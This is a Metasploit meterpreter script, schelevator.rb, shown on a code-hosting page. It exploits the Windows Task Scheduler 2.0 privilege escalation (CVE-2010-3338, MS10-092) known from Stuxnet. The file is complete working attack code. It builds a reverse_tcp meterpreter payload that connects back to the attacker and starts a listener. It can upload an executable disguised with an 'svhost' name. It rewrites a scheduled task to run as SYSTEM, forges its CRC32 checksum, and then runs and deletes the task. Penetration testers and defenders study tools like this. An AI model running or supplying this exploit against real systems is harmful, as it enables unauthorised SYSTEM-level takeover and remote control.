Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

schelevator.rb 11KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. ##
  7. #
  8. # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
  9. #
  10. # Disclosed around Oct 22, 2010
  11. #
  12. # written by jduck
  13. #
  14. # NOTE: Thanks to webDEViL for the information about disable/enable.
  15. # http://www.exploit-db.com/exploits/15589/
  16. #
  17. # CVE 2010-3338
  18. # MSB MS10-092
  19. #
  20. ##
  21. require 'zlib'
  22. #
  23. # Filter out sessions that this definitely won't work on.
  24. #
  25. unless [ARCH_X64, ARCH_X86, ARCH_JAVA].include(session.arch)
  26. print_error("#{session.arch} is not supported.")
  27. raise Rex::Script::Completed
  28. end
  29. unless session.platform == 'windows'
  30. print_error("#{session.platform} is not supported.")
  31. raise Rex::Script::Completed
  32. end
  33. if session.sys.config.sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
  34. #
  35. # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
  36. # worse, meterpreter/railgun creates things in a new thread, making it much more
  37. # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
  38. # offer a workaround and error out.
  39. #
  40. print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
  41. raise Rex::Script::Completed
  42. end
  43. vuln = false
  44. winver = session.sys.config.sysinfo["OS"]
  45. affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
  46. affected.each { |v|
  47. if winver.include? v
  48. vuln = true
  49. break
  50. end
  51. }
  52. if not vuln
  53. print_error("#{winver} is not vulnerable.")
  54. raise Rex::Script::Completed
  55. end
  56. #
  57. # We have a chance to succeed, check params
  58. #
  59. @@exec_opts = Rex::Parser::Arguments.new(
  60. "-h" => [ false, "Help menu." ],
  61. "-c" => [ true, "Execute the specified command" ],
  62. "-u" => [ true, "Upload and execute the specified file" ],
  63. "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
  64. "-p" => [ true, "The port on the remote host where Metasploit is listening"],
  65. "-t" => [ true, "Use the specified task name" ]
  66. )
  67. def usage
  68. print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
  69. print(@@exec_opts.usage)
  70. raise Rex::Script::Completed
  71. end
  72. rhost = Rex::Socket.source_address
  73. rport = 4444
  74. taskname = nil
  75. cmd = nil
  76. upload_fn = nil
  77. @@exec_opts.parse(args) { |opt, idx, val|
  78. case opt
  79. when "-c"
  80. cmd = val
  81. when "-u"
  82. upload_fn = val
  83. if not ::File.exist?(upload_fn)
  84. raise "Specified file to upload does not exist!"
  85. end
  86. when "-t"
  87. taskname = val
  88. when "-h"
  89. usage
  90. when "-r"
  91. rhost = val
  92. when "-p"
  93. rport = val.to_i
  94. end
  95. }
  96. envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
  97. sysdir = envs['SystemRoot']
  98. tmpdir = envs['TEMP']
  99. # Must have at least one of -c or -u
  100. if not cmd and not upload_fn
  101. print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
  102. # Get the exe payload.
  103. pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
  104. pay.datastore['LHOST'] = rhost
  105. pay.datastore['LPORT'] = rport
  106. raw = pay.generate
  107. exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
  108. #and placing it on the target in %TEMP%
  109. tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
  110. cmd = tmpdir + "\\" + tempexename + ".exe"
  111. print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
  112. fd = client.fs.file.new(cmd, "wb")
  113. fd.write(exe)
  114. fd.close
  115. #get handler to be ready
  116. handler = client.framework.exploits.create("multi/handler")
  117. handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
  118. handler.datastore['LHOST'] = rhost
  119. handler.datastore['LPORT'] = rport
  120. handler.datastore['InitialAutoRunScript'] = "migrate -f"
  121. handler.datastore['ExitOnSession'] = false
  122. #start a handler to be ready
  123. handler.exploit_simple(
  124. 'Payload' => handler.datastore['PAYLOAD'],
  125. 'RunAsJob' => true
  126. )
  127. end
  128. if cmd
  129. print_status("Using command: #{cmd}")
  130. end
  131. #
  132. # Upload the payload command if needed
  133. #
  134. if upload_fn
  135. begin
  136. location = tmpdir.dup
  137. ext = upload_fn.split('.')
  138. if ext
  139. ext = ext.last.downcase
  140. if ext == "exe"
  141. location << "\\svhost#{rand(100)}.exe"
  142. else
  143. location << "\\TMP#{rand(100)}.#{ext}"
  144. end
  145. else
  146. location << "\\TMP#{rand(100)}"
  147. end
  148. print_status("Uploading #{upload_fn} to #{location}....")
  149. session.fs.file.upload_file(location, upload_fn)
  150. print_status("Upload complete.")
  151. rescue ::Exception => e
  152. print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
  153. raise e
  154. end
  155. cmd ||= location
  156. end
  157. def crc32(data)
  158. table = Zlib.crc_table
  159. crc = 0xffffffff
  160. data.unpack('C*').each { |b|
  161. crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
  162. }
  163. crc
  164. end
  165. def fix_crc32(data, old_crc)
  166. #
  167. # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
  168. # reversed from Microsoft's code)
  169. #
  170. bwd_table = [
  171. 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
  172. 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
  173. 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
  174. 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
  175. 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
  176. 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
  177. 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
  178. 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
  179. 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
  180. 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
  181. 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
  182. 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
  183. 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
  184. 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
  185. 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
  186. 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
  187. 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
  188. 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
  189. 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
  190. 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
  191. 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
  192. 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
  193. 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
  194. 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
  195. 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
  196. 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
  197. 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
  198. 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
  199. 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
  200. 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
  201. 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
  202. 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
  203. 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
  204. 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
  205. 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
  206. 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
  207. 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
  208. 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
  209. 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
  210. 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
  211. 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
  212. 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
  213. 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
  214. 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
  215. 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
  216. 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
  217. 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
  218. 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
  219. 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
  220. 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
  221. 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
  222. 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
  223. 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
  224. 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
  225. 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
  226. 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
  227. 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
  228. 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
  229. 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
  230. 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
  231. 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
  232. 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
  233. 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
  234. 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
  235. ]
  236. crc = crc32(data[0, data.length - 12])
  237. data[-12, 4] = [crc].pack('V')
  238. data[-12, 12].unpack('C*').reverse.each { |b|
  239. old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
  240. }
  241. data[-12, 4] = [old_crc].pack('V')
  242. end
  243. def exec_schtasks(cmdline, purpose)
  244. lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
  245. success = false
  246. lns.each_line { |ln|
  247. ln.chomp!
  248. if ln =~ /^SCHELEVATOR$/
  249. success = true
  250. else
  251. print_status(ln)
  252. end
  253. }
  254. raise "Unable to #{purpose}!" if not success
  255. end
  256. def read_task_file(taskname, taskfile)
  257. print_status("Reading the task file contents from #{taskfile}...")
  258. # Can't read the file directly on 2008?
  259. content = ''
  260. fd = client.fs.file.new(taskfile, "rb")
  261. until fd.eof?
  262. content << fd.read
  263. end
  264. fd.close
  265. content
  266. end
  267. #
  268. # Create a new task to do our bidding, but make sure it doesn't run.
  269. #
  270. taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
  271. taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
  272. print_status("Creating task: #{taskname}")
  273. cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
  274. exec_schtasks(cmdline, "create the task")
  275. #
  276. # Read the contents of the newly creates task file
  277. #
  278. content = read_task_file(taskname, taskfile)
  279. #
  280. # Double-check that we got what we expect.
  281. #
  282. if content[0,2] != "\xff\xfe"
  283. #
  284. # Convert to unicode, since it isn't already
  285. #
  286. content = content.unpack('C*').pack('v*')
  287. else
  288. #
  289. # NOTE: we strip the BOM here to exclude it from the crc32 calculation
  290. #
  291. content = content[2,content.length]
  292. end
  293. #
  294. # Record the crc32 for later calculations
  295. #
  296. old_crc32 = crc32(content)
  297. print_status("Original CRC32: 0x%x" % old_crc32)
  298. #
  299. # Convert the file contents from unicode
  300. #
  301. content = content.unpack('v*').pack('C*')
  302. #
  303. # Mangle the contents to now run with SYSTEM privileges
  304. #
  305. content.gsub!('LeastPrivilege', 'HighestAvailable')
  306. content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
  307. content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
  308. #content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
  309. content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
  310. content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
  311. content << "<!-- ZZ -->"
  312. #
  313. # Convert it back to unicode
  314. #
  315. content = Rex::Text.to_unicode(content)
  316. #
  317. # Fix it so the CRC matches again
  318. #
  319. fix_crc32(content, old_crc32)
  320. new_crc32 = crc32(content)
  321. print_status("Final CRC32: 0x%x" % new_crc32)
  322. #
  323. # Write the new content back
  324. #
  325. print_status("Writing our modified content back...")
  326. fd = client.fs.file.new(taskfile, "wb")
  327. fd.write "\xff\xfe" + content
  328. fd.close
  329. #
  330. # Run the task :-)
  331. #
  332. print_status("Disabling the task...")
  333. exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
  334. print_status("Enabling the task...")
  335. exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
  336. print_status("Executing the task...")
  337. exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
  338. #
  339. # And delete it.
  340. #
  341. print_status("Deleting the task...")
  342. exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")